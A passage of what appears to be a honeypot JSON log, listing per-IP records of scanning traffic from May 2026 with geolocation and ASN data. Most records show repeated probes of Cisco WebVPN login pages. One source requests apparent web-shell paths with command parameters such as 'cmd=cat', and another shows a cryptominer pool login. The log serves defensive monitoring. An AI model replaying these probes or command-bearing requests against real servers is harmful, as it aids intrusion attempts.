      "ports": [],
      "event_types": [
        "\"GET /meetme/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "54.184.100.170": {
      "attack_count": 1,
      "first_seen": "2026-05-07T05:38:52.437Z",
      "last_seen": "2026-05-07T05:38:52.437Z",
      "ports": [],
      "event_types": [
        "\"GET /qNZC HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.63": {
      "attack_count": 1,
      "first_seen": "2026-05-04T07:53:24.456Z",
      "last_seen": "2026-05-04T07:53:24.456Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.225": {
      "attack_count": 1,
      "first_seen": "2026-05-23T05:32:41.528Z",
      "last_seen": "2026-05-23T05:32:41.528Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.56": {
      "attack_count": 1,
      "first_seen": "2026-05-26T00:32:15.681Z",
      "last_seen": "2026-05-26T00:32:15.681Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "98.81.162.40": {
      "attack_count": 1,
      "first_seen": "2026-05-07T01:04:20.058Z",
      "last_seen": "2026-05-07T01:04:20.058Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "68.235.46.111": {
      "attack_count": 55,
      "first_seen": "2026-05-02T01:13:22.978Z",
      "last_seen": "2026-05-30T13:45:57.941Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "138.249.238.47": {
      "attack_count": 42,
      "first_seen": "2026-05-26T06:21:22.540Z",
      "last_seen": "2026-05-29T23:50:16.578Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.202.11.57": {
      "attack_count": 42,
      "first_seen": "2026-05-31T00:48:55.160Z",
      "last_seen": "2026-05-31T05:16:15.503Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Israel",
      "country_code": "IL",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "45.159.125.178": {
      "attack_count": 35,
      "first_seen": "2026-05-26T03:26:55.868Z",
      "last_seen": "2026-05-30T11:05:25.475Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.98.39": {
      "attack_count": 33,
      "first_seen": "2026-05-05T11:32:17.832Z",
      "last_seen": "2026-05-27T20:21:50.933Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.145": {
      "attack_count": 33,
      "first_seen": "2026-05-09T05:49:12.915Z",
      "last_seen": "2026-05-31T04:36:34.887Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "37.19.221.145": {
      "attack_count": 33,
      "first_seen": "2026-05-02T08:31:06.195Z",
      "last_seen": "2026-05-29T17:48:00.324Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "170.168.250.89": {
      "attack_count": 28,
      "first_seen": "2026-05-26T03:47:15.375Z",
      "last_seen": "2026-05-30T00:34:37.289Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "186.243.242.16": {
      "attack_count": 28,
      "first_seen": "2026-05-27T03:47:15.793Z",
      "last_seen": "2026-05-30T07:02:36.624Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Rockville Centre",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.103.73": {
      "attack_count": 27,
      "first_seen": "2026-05-05T02:56:35.399Z",
      "last_seen": "2026-05-29T18:37:40.321Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.150": {
      "attack_count": 27,
      "first_seen": "2026-05-05T16:41:48.129Z",
      "last_seen": "2026-05-29T22:54:07.401Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.226": {
      "attack_count": 27,
      "first_seen": "2026-05-02T07:09:15.134Z",
      "last_seen": "2026-05-30T08:47:21.899Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "178.130.47.212": {
      "attack_count": 26,
      "first_seen": "2026-05-31T00:56:52.407Z",
      "last_seen": "2026-05-31T05:19:24.900Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "23.234.72.86": {
      "attack_count": 24,
      "first_seen": "2026-05-04T10:54:09.054Z",
      "last_seen": "2026-05-30T03:04:13.937Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.111.233.171": {
      "attack_count": 22,
      "first_seen": "2026-05-26T12:01:53.652Z",
      "last_seen": "2026-05-30T13:10:51.844Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "152.32.189.121": {
      "attack_count": 22,
      "first_seen": "2026-05-02T09:09:33.466Z",
      "last_seen": "2026-05-05T10:53:53.938Z",
      "ports": [],
      "event_types": [
        "code 400",
        "\"\"id\":1",
        "\"\"params\": [\"miner1\"",
        "\"\"method\":\"login\""
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "141.133.84.45": {
      "attack_count": 21,
      "first_seen": "2026-05-27T08:43:29.520Z",
      "last_seen": "2026-05-31T03:02:59.159Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Tatum",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.82.191": {
      "attack_count": 21,
      "first_seen": "2026-05-26T10:06:31.083Z",
      "last_seen": "2026-05-29T17:58:22.765Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.211.100": {
      "attack_count": 21,
      "first_seen": "2026-05-02T07:52:16.802Z",
      "last_seen": "2026-05-27T14:16:02.617Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "172.121.80.210": {
      "attack_count": 21,
      "first_seen": "2026-05-29T15:29:20.491Z",
      "last_seen": "2026-05-30T12:04:34.709Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": null,
      "as_org": null
    },
    "185.141.119.176": {
      "attack_count": 21,
      "first_seen": "2026-05-03T14:22:38.245Z",
      "last_seen": "2026-05-31T03:30:10.424Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "185.73.218.20": {
      "attack_count": 21,
      "first_seen": "2026-05-26T05:46:13.436Z",
      "last_seen": "2026-05-29T13:03:29.973Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.130.186.83": {
      "attack_count": 21,
      "first_seen": "2026-05-29T16:02:00.084Z",
      "last_seen": "2026-05-31T01:49:17.069Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "143.244.47.71": {
      "attack_count": 18,
      "first_seen": "2026-05-07T03:36:17.636Z",
      "last_seen": "2026-05-24T02:20:38.511Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.102.24": {
      "attack_count": 18,
      "first_seen": "2026-05-05T22:52:27.299Z",
      "last_seen": "2026-05-29T06:35:54.799Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.23": {
      "attack_count": 18,
      "first_seen": "2026-05-02T03:54:55.453Z",
      "last_seen": "2026-05-30T00:51:15.844Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.150": {
      "attack_count": 18,
      "first_seen": "2026-05-02T01:27:53.396Z",
      "last_seen": "2026-05-30T14:44:50.414Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.203": {
      "attack_count": 18,
      "first_seen": "2026-05-10T06:42:15.391Z",
      "last_seen": "2026-05-26T10:49:27.301Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.159.124.142": {
      "attack_count": 18,
      "first_seen": "2026-05-26T12:24:27.745Z",
      "last_seen": "2026-05-30T15:14:23.512Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "185.156.46.158": {
      "attack_count": 15,
      "first_seen": "2026-05-02T05:49:12.292Z",
      "last_seen": "2026-05-29T10:40:46.924Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.100.207": {
      "attack_count": 15,
      "first_seen": "2026-05-20T21:54:03.322Z",
      "last_seen": "2026-05-29T16:17:57.410Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.68": {
      "attack_count": 15,
      "first_seen": "2026-05-08T13:24:50.503Z",
      "last_seen": "2026-05-30T05:06:13.185Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.200": {
      "attack_count": 15,
      "first_seen": "2026-05-05T16:49:23.234Z",
      "last_seen": "2026-05-07T07:52:34.751Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.80": {
      "attack_count": 15,
      "first_seen": "2026-05-04T22:32:29.243Z",
      "last_seen": "2026-05-20T11:07:48.448Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.152.17.220": {
      "attack_count": 14,
      "first_seen": "2026-05-27T09:02:29.118Z",
      "last_seen": "2026-05-27T17:37:21.571Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "135.106.26.71": {
      "attack_count": 14,
      "first_seen": "2026-05-27T01:04:42.044Z",
      "last_seen": "2026-05-31T05:15:38.582Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ennis",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "142.252.242.151": {
      "attack_count": 14,
      "first_seen": "2026-05-30T11:05:22.088Z",
      "last_seen": "2026-05-30T13:58:33.519Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.86.45": {
      "attack_count": 14,
      "first_seen": "2026-05-29T10:33:45.793Z",
      "last_seen": "2026-05-30T04:52:39.715Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.160.218.160": {
      "attack_count": 14,
      "first_seen": "2026-05-27T12:53:30.956Z",
      "last_seen": "2026-05-27T21:57:15.332Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Fort Peck",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.192.38.36": {
      "attack_count": 14,
      "first_seen": "2026-05-27T13:43:23.590Z",
      "last_seen": "2026-05-29T08:47:20.780Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "88.218.80.86": {
      "attack_count": 14,
      "first_seen": "2026-05-26T01:58:24.380Z",
      "last_seen": "2026-05-26T17:17:47.068Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.42.116.19": {
      "attack_count": 12,
      "first_seen": "2026-05-24T01:18:47.244Z",
      "last_seen": "2026-05-24T01:23:20.004Z",
      "ports": [],
      "event_types": [
        "\"GET /Z3R0-C00L.php? HTTP/1.1\" 404 -",
        "\"GET /Z3R0-C00l.php.call?cmd=cat+*.call HTTP/1.1\" 404 -",
        "\"GET /admin/modules/admindashboard/phpsysinfo/ass.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/phpinf/page.phpinf.php?komand=cat+page.phpinf.php&1 HTTP/1.1\" 404 -",
        "\"GET /emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -",
        "\"GET /nigga/ari.conf HTTP/1.1\" 404 -",
        "\"GET /recordings/Dead_Sec_Team/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/config.amportal.php? HTTP/1.1\" 404 -",
        "\"GET /vamp.php?c=cat+vamp.php& HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.159.216.68": {
      "attack_count": 12,
      "first_seen": "2026-05-07T12:57:16.406Z",
      "last_seen": "2026-05-25T18:14:31.003Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.116.80": {
      "attack_count": 12,
      "first_seen": "2026-05-18T08:30:13.538Z",
      "last_seen": "2026-05-29T15:24:07.525Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.23": {
      "attack_count": 12,
      "first_seen": "2026-05-05T08:24:00.735Z",
      "last_seen": "2026-05-31T04:18:58.640Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.52": {
      "attack_count": 12,
      "first_seen": "2026-05-08T20:22:21.152Z",
